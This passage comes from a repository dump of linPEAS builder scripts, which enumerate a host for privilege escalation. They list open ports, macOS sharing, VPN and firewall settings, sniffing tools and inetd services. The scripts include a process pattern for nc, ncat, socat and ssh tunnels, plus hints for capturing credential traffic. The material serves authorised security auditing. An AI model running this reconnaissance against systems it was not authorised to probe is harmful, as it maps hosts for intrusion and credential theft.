$2}')\")\n\n            # Get process information\n            proc_info=$(get_process_info \"$inode\")\n\n            # Get state name\n            case $st in\n                \"01\") state=\"ESTABLISHED\" ;;\n                \"02\") state=\"SYN_SENT\" ;;\n                \"03\") state=\"SYN_RECV\" ;;\n                \"04\") state=\"FIN_WAIT1\" ;;\n                \"05\") state=\"FIN_WAIT2\" ;;\n                \"06\") state=\"TIME_WAIT\" ;;\n                \"07\") state=\"CLOSE\" ;;\n                \"08\") state=\"CLOSE_WAIT\" ;;\n                \"09\") state=\"LAST_ACK\" ;;\n                \"0A\") state=\"LISTEN\" ;;\n                \"0B\") state=\"CLOSING\" ;;\n                \"0C\") state=\"NEW_SYN_RECV\" ;;\n                *) state=\"UNKNOWN\" ;;\n            esac\n\n            # Only show listening ports\n            if [ \"$state\" = \"LISTEN\" ]; then\n                # Format the output\n                printf \"%-6s %-8s %-8s %-21s %-21s %-12s %s\\n\" \\\n                    \"$proto\" \"$rx_queue\" \"$tx_queue\" \"$local_ip:$local_port\" \"$rem_ip:$rem_port\" \"$state\" \"$proc_info\"\n            fi\n        done\n    fi\n    echo \"\"\n}\n\n# Function to get open ports information\nget_open_ports() {\n    print_2title \"Active Ports\" \"T1049\"\n    print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports\"\n\n    # Try standard tools first\n    if command -v netstat >/dev/null 2>&1; then\n        print_3title \"Active Ports (netstat)\" \"T1049\"\n        netstat -punta 2>/dev/null | grep -i listen | sed -${E} \"s,127.0.[0-9]+.[0-9]+|:::|::1:|0\\.0\\.0\\.0,${SED_RED},g\"\n    elif command -v ss >/dev/null 2>&1; then\n        print_3title \"Active Ports (ss)\" \"T1049\"\n        ss -nltpu 2>/dev/null | grep -i listen | sed -${E} \"s,127.0.[0-9]+.[0-9]+|:::|::1:|0\\.0\\.0\\.0,${SED_RED},g\"\n    else\n        # Fallback to parsing /proc/net files\n        parse_proc_net_ports \"tcp\"\n        parse_proc_net_ports \"udp\"\n    fi\n\n    # Focused local service exposure view\n    print_3title \"Local-only listeners (loopback)\" \"T1049\"\n    if command -v ss >/dev/null 2>&1; then\n        ss -nltpu 2>/dev/null | grep -E \"127\\.0\\.0\\.1:|::1:\" | sed -${E} \"s,127\\.0\\.0\\.1:|::1:,${SED_RED},g\"\n    elif command -v netstat >/dev/null 2>&1; then\n        netstat -punta 2>/dev/null | grep -i listen | grep -E \"127\\.0\\.0\\.1:|::1:\" | sed -${E} \"s,127\\.0\\.0\\.1:|::1:,${SED_RED},g\"\n    fi\n\n    print_3title \"Unique listener bind addresses\" \"T1049\"\n    if command -v ss >/dev/null 2>&1; then\n        ss -nltpuH 2>/dev/null | awk '{\n            a=$5\n            if (a ~ /^\\[/) {\n                sub(/^\\[/, \"\", a)\n                sub(/\\]:[0-9]+$/, \"\", a)\n            } else if (a ~ /:[0-9]+$/) {\n                sub(/:[0-9]+$/, \"\", a)\n            }\n            sub(/^::ffff:/, \"\", a)\n            if (a != \"\") print a\n        }' | sort -u | sed -${E} \"s,127\\.0\\.0\\.1|::1,${SED_RED},g\"\n    elif command -v netstat >/dev/null 2>&1; then\n        netstat -punta 2>/dev/null | grep -i listen | awk '{\n            a=$4\n            if (a ~ /^\\[/) {\n                sub(/^\\[/, \"\", a)\n                sub(/\\]:[0-9]+$/, \"\", a)\n            } else if (a ~ /:[0-9]+$/) {\n                sub(/:[0-9]+$/, \"\", a)\n            }\n            if (a == \":::\" ) a=\"::\"\n            sub(/^::ffff:/, \"\", a)\n            if (a != \"\") print a\n        }' | sort -u | sed -${E} \"s,127\\.0\\.0\\.1|::1,${SED_RED},g\"\n    fi\n\n    print_3title \"Potential local forwarders/relays\" \"T1049\"\n    ps aux 2>/dev/null | grep -E \"[s]ocat|[s]sh .*(-L|-R|-D)|[n]cat|[n]c .*-l\" | sed -${E} \"s,socat|ssh|-L|-R|-D|ncat|nc,${SED_RED_YELLOW},g\"\n\n    # Additional port information\n    if [ \"$EXTRA_CHECKS\" ] || [ \"$DEBUG\" ]; then\n        print_3title \"Additional Port Information\" \"T1049\"\n        # Check for listening ports in /proc/net/unix\n        if [ -f \"/proc/net/unix\" ]; then\n            echo \"Unix Domain Sockets:\"\n            # Use awk to process the file in one go, avoiding duplicates and empty paths\n            awk '$8 != \"\" && $8 != \"@\" && $8 != \"00000000\" {\n                inode=$7\n                socket=$8\n                # Find process using inode\n                cmd=\"find /proc/[0-9]*/fd -ls 2>/dev/null | grep \" inode \" | head -n1 | awk \\\"{print \\\\$11}\\\" | xargs -r readlink\"\n                pid=\"\"\n                while (cmd | getline pid_dir) {\n                    if (pid_dir != \"\") {\n                        split(pid_dir, parts, \"/\")\n                        pid=parts[3]\n                        break\n                    }\n                }\n                close(cmd)\n                if (pid != \"\") {\n                    cmd=\"tr \\\\0 \\\" \\\" < /proc/\" pid \"/cmdline 2>/dev/null | cut -d\\\" \\\" -f1 | xargs -r basename\"\n                    cmd | getline prog\n                    close(cmd)\n                    if (prog != \"\") {\n                        print \"  \" socket \" (\" pid \"/\" prog \")\"\n                    } else {\n                        print \"  \" socket \" (\" pid \")\"\n                    }\n                } else {\n                    print \"  \" socket\n                }\n            }' /proc/net/unix 2>/dev/null | sort -u\n        fi\n\n        # Check for ports in use by systemd\n        if command -v systemctl >/dev/null 2>&1; then\n            echo -e \"\\nSystemd Socket Units:\"\n            systemctl list-sockets 2>/dev/null | while IFS= read -r line; do\n                [ -z \"$line\" ] && continue\n                if ! echo \"$line\" | grep -q \"UNIT\\|listed\"; then\n                    echo \"  $line\"\n                fi\n            done\n        fi\n    fi\n\n    echo \"\"\n}\n\nget_open_ports\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/5_network_information/5_Macos_network_capabilities.sh",
    "content": "# Title: Network Information - MacOS network capabilities\n# ID: NT_Macos_network_capabilities\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: MacOS network Capabilities\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1016\n# Functions Used: print_2title, print_3title, warn_exec\n# Global Variables: $MACPEAS, $EXTRA_CHECKS\n# Initial Functions:\n# Generated Global Variables: $net_service\n# Fat linpeas: 0\n# Small linpeas: 0\n\n# Function to get network capabilities information\nget_macos_network_capabilities() {\n    print_2title \"Network Capabilities\" \"T1016\"\n    # Basic network information\n    echo \"\"\n    print_3title \"Network Interfaces and Configuration\" \"T1016\"\n    warn_exec system_profiler SPNetworkDataType\n\n    # Network locations\n    echo \"\"\n    print_3title \"Network Locations\" \"T1016\"\n    warn_exec system_profiler SPNetworkLocationDataType\n\n    # Network extensions\n    echo \"\"\n    print_3title \"Network Extensions\" \"T1016\"\n    if [ -d \"/Library/SystemExtensions\" ]; then\n        warn_exec systemextensionsctl list\n    fi\n\n    # Network security\n    echo \"\"\n    print_3title \"Network Security\" \"T1016\"\n    if command -v networksetup >/dev/null 2>&1; then\n        echo \"Firewall Status:\"\n        warn_exec networksetup -getglobalstate\n        echo -e \"\\nFirewall Rules:\"\n        warn_exec networksetup -listallnetworkservices | while read -r net_service; do\n            if [ -n \"$net_service\" ]; then\n                echo \"Service: $net_service\"\n                warn_exec networksetup -getwebproxy \"$net_service\"\n                warn_exec networksetup -getsecurewebproxy \"$net_service\"\n                warn_exec networksetup -getproxybypassdomains \"$net_service\"\n            fi\n        done\n    fi\n\n    # Additional network information if EXTRA_CHECKS is enabled\n    if [ \"$EXTRA_CHECKS\" ]; then\n        # Network preferences\n        echo \"\"\n        print_3title \"Network Preferences\" \"T1016\"\n        if [ -f \"/Library/Preferences/SystemConfiguration/preferences.plist\" ]; then\n            warn_exec plutil -p /Library/Preferences/SystemConfiguration/preferences.plist | grep -A 5 \"NetworkServices\"\n        fi\n        \n        # Network statistics\n        echo \"\"\n        print_3title \"Network Statistics\" \"T1016\"\n        warn_exec netstat -s\n        \n        # Network routes\n        echo \"\"\n        print_3title \"Network Routes\" \"T1016\"\n        warn_exec netstat -rn\n        \n        # Network interfaces details\n        echo \"\"\n        print_3title \"Network Interfaces Details\" \"T1016\"\n        warn_exec ifconfig -a\n        \n        # Network kernel extensions\n        echo \"\"\n        print_3title \"Network Kernel Extensions\" \"T1016\"\n        warn_exec kextstat | grep -i network\n    fi\n\n    echo \"\"\n}\n\nif [ \"$MACPEAS\" ]; then\n    get_macos_network_capabilities\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/5_network_information/6_Macos_network_services.sh",
    "content": "# Title: Network Information - MacOS Network Services\n# ID: NT_Macos_network_services\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Enumerate macos network services\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1016\n# Functions Used: print_2title, print_3title, warn_exec\n# Global Variables: $EXTRA_CHECKS, $MACPEAS, $E, $SED_RED\n# Initial Functions:\n# Generated Global Variables: $sharing_service, $profile, $port3, $service_count, $port1, $port, $services, $total, $port_list, $count, $ports, $active_ports, $port2\n# Fat linpeas: 0\n# Small linpeas: 0\n\n# Function to check if a port is listening\ncheck_listening_port() {\n    local port=$1\n    local service=$2\n    local count=0\n    \n    # Check both IPv4 and IPv6\n    count=$(netstat -na 2>/dev/null | grep LISTEN | grep -E 'tcp4|tcp6' | grep \"*.${port}\" | wc -l)\n    echo \"$count\"\n}\n\n# Function to get sharing services status\nget_sharing_services_status() {\n    print_2title \"MacOS Sharing Services Status\" \"T1016\"\n    # Define services and their ports using parallel arrays\n    services=\"Screen Sharing File Sharing Remote Login Remote Management Remote Apple Events Back to My Mac AirPlay Receiver AirDrop Bonjour Printer Sharing Internet Sharing\"\n    ports=\"5900 88,445,548 22 3283 3031 4488 7000 5353 5353 515,631 67,68\"\n\n    # Check each service\n    echo \"Service Status (0=OFF, >0=ON):\"\n    echo \"--------------------------------\"\n    \n    # Get number of services\n    service_count=$(echo \"$services\" | wc -w)\n    \n    # Loop through services using index\n    i=1\n    while [ $i -le $service_count ]; do\n        sharing_service=$(echo \"$services\" | cut -d' ' -f$i)\n        port_list=$(echo \"$ports\" | cut -d' ' -f$i)\n        total=0\n        active_ports=\"\"\n        \n        # Check each port for the service\n        port1=$(echo \"$port_list\" | cut -d',' -f1)\n        port2=$(echo \"$port_list\" | cut -d',' -f2)\n        port3=$(echo \"$port_list\" | cut -d',' -f3)\n        for port in $port1 $port2 $port3; do\n            if [ -n \"$port\" ]; then\n                count=$(check_listening_port \"$port\" \"$sharing_service\")\n                if [ \"$count\" -gt 0 ]; then\n                    total=$((total + count))\n                    if [ -n \"$active_ports\" ]; then\n                        active_ports=\"${active_ports},\"\n                    fi\n                    active_ports=\"${active_ports}${port}\"\n                fi\n            fi\n        done\n        \n        # Print service status\n        if [ \"$total\" -gt 0 ]; then\n            printf \"%-20s: ON  (Ports: %s)\\n\" \"$sharing_service\" \"$active_ports\" | sed -${E} \"s,ON.*,${SED_RED},g\"\n        else\n            printf \"%-20s: OFF\\n\" \"$sharing_service\"\n        fi\n        \n        i=$((i + 1))\n    done\n    echo \"\"\n}\n\n# Function to get VPN information\nget_vpn_info() {\n    print_3title \"VPN Information\" \"T1016\"\n    # Get VPN configurations\n    warn_exec system_profiler SPNetworkLocationDataType | grep -A 5 -B 7 \": Password\" | sed -${E} \"s,Password|Authorization Name.*,${SED_RED},g\"\n    \n    # Check for VPN profiles\n    if [ -d \"/Library/Preferences/SystemConfiguration\" ]; then\n        echo -e \"\\nVPN Profiles:\"\n        find /Library/Preferences/SystemConfiguration -name \"*.plist\" -exec grep -l \"VPN\" {} \\; 2>/dev/null | while read -r profile; do\n            echo \"Profile: $profile\"\n            warn_exec plutil -p \"$profile\" | grep -A 5 \"VPN\"\n        done\n    fi\n    echo \"\"\n}\n\n# Function to get firewall information\nget_firewall_info() {\n    print_3title \"Firewall Information\" \"T1016\"\n    # Get firewall status\n    warn_exec system_profiler SPFirewallDataType\n    \n    # Get application firewall rules\n    if command -v /usr/libexec/ApplicationFirewall/socketfilterfw >/dev/null 2>&1; then\n        echo -e \"\\nApplication Firewall Rules:\"\n        warn_exec /usr/libexec/ApplicationFirewall/socketfilterfw --listapps\n    fi\n    \n    # Get pf firewall rules if available\n    if command -v pfctl >/dev/null 2>&1; then\n        echo -e \"\\nPF Firewall Rules:\"\n        warn_exec pfctl -s rules 2>/dev/null\n    fi\n    echo \"\"\n}\n\n# Function to get additional network information\nget_additional_network_info() {\n    if [ \"$EXTRA_CHECKS\" ]; then\n        print_3title \"Additional Network Information\" \"T1016\"\n        # Bluetooth information\n        echo \"Bluetooth Status:\"\n        warn_exec system_profiler SPBluetoothDataType\n        \n        # Ethernet information\n        echo -e \"\\nEthernet Status:\"\n        warn_exec system_profiler SPEthernetDataType\n        \n        # USB network adapters\n        echo -e \"\\nUSB Network Adapters:\"\n        warn_exec system_profiler SPUSBDataType\n        \n        # Network kernel extensions\n        echo -e \"\\nNetwork Kernel Extensions:\"\n        warn_exec kextstat | grep -i \"network\\|ethernet\\|wifi\\|bluetooth\"\n        \n        # Network daemons\n        echo -e \"\\nNetwork Daemons:\"\n        warn_exec launchctl list | grep -i \"network\\|vpn\\|firewall\\|sharing\"\n    fi\n    echo \"\"\n}\n\n# Main function to get all network services information\nget_macos_network_services() {\n    if [ \"$MACPEAS\" ]; then\n        # Get sharing services status\n        get_sharing_services_status\n        \n        # Get VPN information\n        get_vpn_info\n        \n        # Get firewall information\n        get_firewall_info\n        \n        # Get additional network information if EXTRA_CHECKS is enabled\n        get_additional_network_info\n    fi\n}\n\nif [ \"$MACPEAS\" ]; then\n    get_macos_network_services\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/5_network_information/7_Tcpdump.sh",
    "content": "# Title: Network Information - Network Traffic Analysis\n# ID: NT_Tcpdump\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check network traffic analysis capabilities and tools\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1040\n# Functions Used: print_2title, print_3title, print_info, warn_exec\n# Global Variables: $EXTRA_CHECKS, $E, $SED_RED, $SED_GREEN, $SED_RED_YELLOW\n# Initial Functions:\n# Generated Global Variables: $tools_found, $tool, $interfaces, $interfaces_found, $iface, $cmd, $pattern, $patterns, $dumpcap_test_file\n# Fat linpeas: 0\n# Small linpeas: 1\n\n# Function to check if a command exists and is executable\ncheck_command() {\n    local cmd=$1\n    if command -v \"$cmd\" >/dev/null 2>&1; then\n        if [ -x \"$(command -v \"$cmd\")\" ]; then\n            return 0\n        fi\n    fi\n    return 1\n}\n\n# Function to check if we can sniff on an interface\ncheck_interface_sniffable() {\n    local iface=$1\n    if check_command tcpdump; then\n        if timeout 1 tcpdump -i \"$iface\" -c 1 >/dev/null 2>&1; then\n            return 0\n        fi\n    elif check_command dumpcap; then\n        dumpcap_test_file=\"/tmp/.linpeas_dumpcap_test_$$.pcap\"\n        if timeout 2 dumpcap -i \"$iface\" -c 1 -q -w \"$dumpcap_test_file\" >/dev/null 2>&1; then\n            rm -f \"$dumpcap_test_file\" 2>/dev/null\n            return 0\n        fi\n        rm -f \"$dumpcap_test_file\" 2>/dev/null\n    fi\n    return 1\n}\n\n# Function to check for promiscuous mode\ncheck_promiscuous_mode() {\n    local iface=$1\n    if ip link show \"$iface\" 2>/dev/null | grep -q \"PROMISC\"; then\n        return 0\n    fi\n    return 1\n}\n\n# Main function to check network traffic analysis capabilities\ncheck_network_traffic_analysis() {\n    print_2title \"Network Traffic Analysis Capabilities\" \"T1040\"\n    # Check for sniffing tools\n    echo \"\"\n    print_3title \"Available Sniffing Tools\" \"T1040\"\n    tools_found=0\n    \n    if check_command tcpdump; then\n        echo \"tcpdump is available\" | sed -${E} \"s,.*,${SED_GREEN},g\"\n        tools_found=1\n        # Check tcpdump version and capabilities\n        warn_exec tcpdump --version 2>/dev/null | head -n 1\n        getcap \"$(command -v tcpdump)\" 2>/dev/null\n    fi\n\n    if check_command dumpcap; then\n        echo \"dumpcap is available\" | sed -${E} \"s,.*,${SED_GREEN},g\"\n        tools_found=1\n        warn_exec dumpcap --version 2>/dev/null | head -n 1\n        getcap \"$(command -v dumpcap)\" 2>/dev/null\n\n        if id -nG 2>/dev/null | grep -qw wireshark; then\n            echo \"Current user is in wireshark group\" | sed -${E} \"s,.*,${SED_GREEN},g\"\n        elif getent group wireshark >/dev/null 2>&1; then\n            echo \"wireshark group exists but current user is not in it\" | sed -${E} \"s,.*,${SED_RED_YELLOW},g\"\n        fi\n    fi\n    \n    if check_command tshark; then\n        echo \"tshark is available\" | sed -${E} \"s,.*,${SED_GREEN},g\"\n        tools_found=1\n        # Check tshark version\n        warn_exec tshark --version 2>/dev/null | head -n 1\n    fi\n    \n    if check_command wireshark; then\n        echo \"wireshark is available\" | sed -${E} \"s,.*,${SED_GREEN},g\"\n        tools_found=1\n    fi\n\n    if check_command ngrep; then\n        echo \"ngrep is available\" | sed -${E} \"s,.*,${SED_GREEN},g\"\n        tools_found=1\n    fi\n\n    if check_command tcpflow; then\n        echo \"tcpflow is available\" | sed -${E} \"s,.*,${SED_GREEN},g\"\n        tools_found=1\n    fi\n    \n    if [ $tools_found -eq 0 ]; then\n        echo \"No sniffing tools found\" | sed -${E} \"s,.*,${SED_RED},g\"\n    fi\n\n    if check_command tcpdump; then\n        echo \"Sniffable interfaces according to tcpdump -D:\"\n        timeout 2 tcpdump -D 2>/dev/null\n    elif check_command dumpcap; then\n        echo \"Sniffable interfaces according to dumpcap -D:\"\n        timeout 2 dumpcap -D 2>/dev/null\n    fi\n    \n    # Check network interfaces\n    echo \"\"\n    print_3title \"Network Interfaces Sniffing Capabilities\" \"T1040\"\n    interfaces_found=0\n    \n    # Get list of network interfaces\n    if command -v ip >/dev/null 2>&1; then\n        interfaces=$(ip -o link show | awk -F': ' '{print $2}')\n    elif command -v ifconfig >/dev/null 2>&1; then\n        interfaces=$(ifconfig -a | grep -o '^[^ ]*:' | tr -d ':')\n    else\n        interfaces=$(ls /sys/class/net/ 2>/dev/null)\n    fi\n    \n    for iface in $interfaces; do\n        if [ \"$iface\" = \"lo\" ]; then\n            echo -n \"Interface $iface (loopback): \"\n        else\n            echo -n \"Interface $iface: \"\n        fi\n\n        if check_interface_sniffable \"$iface\"; then\n            echo \"Sniffable\" | sed -${E} \"s,.*,${SED_GREEN},g\"\n            interfaces_found=1\n\n            # Check promiscuous mode\n            if [ \"$iface\" != \"lo\" ] && check_promiscuous_mode \"$iface\"; then\n                echo \"  - Promiscuous mode enabled\" | sed -${E} \"s,.*,${SED_RED},g\"\n            fi\n\n            # Get interface details\n            if [ \"$EXTRA_CHECKS\" ]; then\n                echo \"  - Interface details:\"\n                warn_exec ip addr show \"$iface\" 2>/dev/null || ifconfig \"$iface\" 2>/dev/null\n            fi\n        else\n            echo \"Not sniffable\" | sed -${E} \"s,.*,${SED_RED},g\"\n        fi\n    done\n    \n    if [ $interfaces_found -eq 0 ]; then\n        echo \"No sniffable interfaces found\" | sed -${E} \"s,.*,${SED_RED},g\"\n    fi\n    \n    # Check for sensitive traffic patterns if we have sniffing capabilities\n    if [ $tools_found -eq 1 ] && [ $interfaces_found -eq 1 ]; then\n        echo \"\"\n        print_3title \"Sensitive Traffic Detection\" \"T1040\"\n        print_info \"Checking for common sensitive traffic patterns...\"\n        \n        # List of sensitive traffic patterns to check\n        patterns=\"\n            - HTTP Basic Auth\n            - FTP credentials\n            - SMTP credentials\n            - MySQL/MariaDB traffic\n            - PostgreSQL traffic\n            - Redis traffic\n            - MongoDB traffic\n            - LDAP traffic\n            - SMB traffic\n            - DNS queries\n            - SNMP traffic\n            - Many more...\n        \"\n        \n        echo \"$patterns\" | while read -r pattern; do\n            if [ -n \"$pattern\" ]; then\n                echo \"$pattern\"\n            fi\n        done\n        \n        print_info \"To capture sensitive traffic, you can use:\"\n        echo \"tcpdump -i <interface> -w capture.pcap\" | sed -${E} \"s,.*,${SED_GREEN},g\"\n        echo \"tshark -i <interface> -w capture.pcap\" | sed -${E} \"s,.*,${SED_GREEN},g\"\n        echo \"dumpcap -i <interface> -w capture.pcap\" | sed -${E} \"s,.*,${SED_GREEN},g\"\n    fi\n\n    echo \"\"\n    print_3title \"Running sniffing/traffic reconstruction processes\" \"T1040\"\n    ps aux 2>/dev/null | grep -E \"[t]cpdump|[d]umpcap|[t]shark|[w]ireshark|[n]grep|[t]cpflow\" | sed -${E} \"s,.*,${SED_RED_YELLOW},g\"\n    \n    # Additional information\n    if [ \"$EXTRA_CHECKS\" ]; then\n        echo \"\"\n        print_3title \"Additional Network Analysis Information\" \"T1040\"\n        # Check for network monitoring tools\n        echo \"Checking for network monitoring tools...\"\n        for tool in nethogs iftop iotop nload bmon; do\n            if check_command \"$tool\"; then\n                echo \"$tool is available\" | sed -${E} \"s,.*,${SED_GREEN},g\"\n            fi\n        done\n    fi\n    \n    echo \"\"\n}\n\n# Run the main function\ncheck_network_traffic_analysis\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/5_network_information/8_Iptables.sh",
    "content": "# Title: Network Information - Firewall Rules Analysis\n# ID: NT_Iptables\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Analyze firewall rules and configurations\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1016\n# Functions Used: print_2title, print_3title, warn_exec, echo_not_found\n# Global Variables: $EXTRA_CHECKS, $E, $SED_RED, $SED_GREEN, $SED_YELLOW, $SED_RED_YELLOW\n# Initial Functions:\n# Generated Global Variables: $rules_file, $cmd, $tool, $config_file, $sysctl_var\n# Fat linpeas: 0\n# Small linpeas: 1\n\n# Function to check if a command exists and is executable\ncheck_command() {\n    local cmd=$1\n    if command -v \"$cmd\" >/dev/null 2>&1; then\n        if [ -x \"$(command -v \"$cmd\")\" ]; then\n            return 0\n        fi\n    fi\n    return 1\n}\n\n# Function to analyze iptables rules\nanalyze_iptables() {\n    echo \"\"\n    print_3title \"Iptables Rules\" \"T1016\"\n    # Check if iptables is available\n    if ! check_command iptables; then\n        echo_not_found \"iptables\"\n        return\n    fi\n    \n    # Check if we have permission to list rules\n    if ! timeout 1 iptables -L >/dev/null 2>&1; then\n        echo \"No permission to list iptables rules\" | sed -${E} \"s,.*,${SED_RED},g\"\n        return\n    fi\n    \n    # Get iptables version\n    warn_exec iptables --version 2>/dev/null\n    \n    # List all chains and rules\n    echo -e \"\\nFilter Table Rules:\"\n    warn_exec iptables -L -v -n 2>/dev/null\n    \n    echo -e \"\\nNAT Table Rules:\"\n    warn_exec iptables -t nat -L -v -n 2>/dev/null\n    \n    echo -e \"\\nMangle Table Rules:\"\n    warn_exec iptables -t mangle -L -v -n 2>/dev/null\n    \n    # Check for custom chains\n    echo -e \"\\nCustom Chains:\"\n    warn_exec iptables -L -v -n | grep -E \"^Chain [A-Za-z]\" | grep -v \"INPUT\\|OUTPUT\\|FORWARD\\|PREROUTING\\|POSTROUTING\" 2>/dev/null\n    \n    # Check for saved rules\n    echo -e \"\\nSaved Rules:\"\n    for rules_file in /etc/iptables/* /etc/iptables/rules.v4 /etc/iptables/rules.v6 /etc/iptables-save /etc/iptables.save; do\n        if [ -f \"$rules_file\" ]; then\n            echo \"Found rules in $rules_file:\"\n            warn_exec cat \"$rules_file\" | grep -v \"^#\" | grep -Ev \"\\W+\\#|^#\" 2>/dev/null\n        fi\n    done\n}\n\n# Function to analyze nftables rules\nanalyze_nftables() {\n    echo \"\"\n    print_3title \"Nftables Rules\" \"T1016\"\n    # Check if nft is available\n    if ! check_command nft; then\n        echo_not_found \"nftables\"\n        return\n    fi\n    \n    # Check if we have permission to list rules\n    if ! timeout 1 nft list ruleset >/dev/null 2>&1; then\n        echo \"No permission to list nftables rules\" | sed -${E} \"s,.*,${SED_RED},g\"\n        return\n    fi\n    \n    # Get nftables version\n    warn_exec nft --version 2>/dev/null\n    \n    # List all rules\n    echo -e \"\\nNftables Ruleset:\"\n    warn_exec nft list ruleset 2>/dev/null\n\n    echo -e \"\\nNftables Ruleset with handles (-a):\"\n    warn_exec nft -a list ruleset 2>/dev/null | sed -${E} \"s,\\\\bdrop\\\\b|\\\\breject\\\\b|handle [0-9]+,${SED_RED_YELLOW},g\"\n    \n    # Check for saved rules\n    echo -e \"\\nSaved Rules:\"\n    for rules_file in /etc/nftables.conf /etc/sysconfig/nftables.conf; do\n        if [ -f \"$rules_file\" ]; then\n            echo \"Found rules in $rules_file:\"\n            warn_exec cat \"$rules_file\" | grep -v \"^#\" | grep -Ev \"\\W+\\#|^#\" 2>/dev/null\n        fi\n    done\n}\n\n# Function to analyze firewalld rules\nanalyze_firewalld() {\n    echo \"\"\n    print_3title \"Firewalld Rules\" \"T1016\"\n    # Check if firewall-cmd is available\n    if ! check_command firewall-cmd; then\n        echo_not_found \"firewalld\"\n        return\n    fi\n    \n    # Check if firewalld is running\n    if ! systemctl is-active firewalld >/dev/null 2>&1; then\n        echo \"Firewalld is not running\" | sed -${E} \"s,.*,${SED_YELLOW},g\"\n        return\n    fi\n    \n    # Get firewalld version\n    warn_exec firewall-cmd --version 2>/dev/null\n    \n    # List all zones\n    echo -e \"\\nFirewalld Zones:\"\n    warn_exec firewall-cmd --list-all-zones 2>/dev/null\n    \n    # List active zones\n    echo -e \"\\nActive Zones:\"\n    warn_exec firewall-cmd --get-active-zones 2>/dev/null\n    \n    # List services\n    echo -e \"\\nAvailable Services:\"\n    warn_exec firewall-cmd --list-services 2>/dev/null\n    \n    # List ports\n    echo -e \"\\nOpen Ports:\"\n    warn_exec firewall-cmd --list-ports 2>/dev/null\n    \n    # List rich rules\n    echo -e \"\\nRich Rules:\"\n    warn_exec firewall-cmd --list-rich-rules 2>/dev/null\n}\n\n# Function to analyze UFW rules\nanalyze_ufw() {\n    echo \"\"\n    print_3title \"UFW Rules\" \"T1016\"\n    # Check if ufw is available\n    if ! check_command ufw; then\n        echo_not_found \"ufw\"\n        return\n    fi\n    \n    # Check if UFW is running\n    if ! ufw status >/dev/null 2>&1; then\n        echo \"UFW is not running\" | sed -${E} \"s,.*,${SED_YELLOW},g\"\n        return\n    fi\n    \n    # Get UFW version\n    warn_exec ufw version 2>/dev/null\n    \n    # List rules\n    echo -e \"\\nUFW Rules:\"\n    warn_exec ufw status verbose 2>/dev/null\n    \n    # List numbered rules\n    echo -e \"\\nNumbered Rules:\"\n    warn_exec ufw status numbered 2>/dev/null\n}\n\n# Main function to analyze firewall rules\nanalyze_firewall_rules() {\n    print_2title \"Firewall Rules Analysis\" \"T1016\"\n    # Analyze different firewall systems\n    analyze_iptables\n    analyze_nftables\n    analyze_firewalld\n    analyze_ufw\n\n    echo \"\"\n    print_3title \"Forwarding and rp_filter\" \"T1016\"\n    for sysctl_var in net.ipv4.ip_forward net.ipv6.conf.all.forwarding net.ipv4.conf.all.rp_filter; do\n        sysctl \"$sysctl_var\" 2>/dev/null | sed -${E} \"s,=[[:space:]]*1,${SED_RED_YELLOW},g\"\n    done\n\n    if check_command conntrack; then\n        echo -e \"\\nConntrack state (first 20):\"\n        warn_exec conntrack -L 2>/dev/null | head -n 20\n    fi\n    \n    # Additional checks if EXTRA_CHECKS is enabled\n    if [ \"$EXTRA_CHECKS\" ]; then\n        echo \"\"\n        print_3title \"Additional Firewall Information\" \"T1016\"\n        # Check for common firewall configuration files\n        echo \"Checking for firewall configuration files...\"\n        for config_file in /etc/sysconfig/iptables /etc/sysconfig/ip6tables /etc/iptables/rules.v4 /etc/iptables/rules.v6 /etc/nftables.conf /etc/ufw/user.rules /etc/ufw/user6.rules; do\n            if [ -f \"$config_file\" ]; then\n                echo \"Found configuration file: $config_file\" | sed -${E} \"s,.*,${SED_GREEN},g\"\n            fi\n        done\n        \n        # Check for firewall management tools\n        echo -e \"\\nChecking for firewall management tools...\"\n        for tool in shorewall shorewall6 ferm; do\n            if check_command \"$tool\"; then\n                echo \"$tool is available\" | sed -${E} \"s,.*,${SED_GREEN},g\"\n            fi\n        done\n    fi\n    \n    echo \"\"\n}\n\n# Run the main function\nanalyze_firewall_rules\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/5_network_information/9_Inetdconf.sh",
    "content": "# Title: Network Information - Inetd/Xinetd Services Analysis\n# ID: NT_Inetdconf\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Analyze inetd and xinetd services and configurations\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1049\n# Functions Used: print_2title, print_3title, warn_exec, echo_not_found\n# Global Variables: $EXTRA_CHECKS, $E, $SED_RED, $SED_GREEN, $SED_YELLOW\n# Initial Functions:\n# Generated Global Variables: $inetd_service, $log_file, $cmd, $service_name, $conf_file, $service_dir, $service_file, $inetd_file\n# Fat linpeas: 0\n# Small linpeas: 0\n\n# Function to check if a command exists and is executable\ncheck_command() {\n    local cmd=$1\n    if command -v \"$cmd\" >/dev/null 2>&1; then\n        if [ -x \"$(command -v \"$cmd\")\" ]; then\n            return 0\n        fi\n    fi\n    return 1\n}\n\n# Function to analyze inetd services\nanalyze_inetd() {\n    echo \"\"\n    print_3title \"Inetd Services\" \"T1049\"\n    # Check if inetd is installed\n    if ! check_command inetd; then\n        echo_not_found \"inetd\"\n        return\n    fi\n    \n    # Check if inetd is running\n    if ! pgrep -x inetd >/dev/null 2>&1; then\n        echo \"inetd is not running\" | sed -${E} \"s,.*,${SED_YELLOW},g\"\n    fi\n    \n    # Get inetd version\n    warn_exec inetd -v 2>/dev/null\n    \n    # Check main configuration file\n    if [ -f \"/etc/inetd.conf\" ]; then\n        echo -e \"\\nInetd Configuration (/etc/inetd.conf):\"\n        warn_exec cat /etc/inetd.conf | grep -v \"^$\" | grep -Ev \"\\W+\\#|^#\" 2>/dev/null\n        \n        # Check for potentially dangerous services\n        echo -e \"\\nPotentially Dangerous Services:\"\n        warn_exec cat /etc/inetd.conf | grep -v \"^$\" | grep -Ev 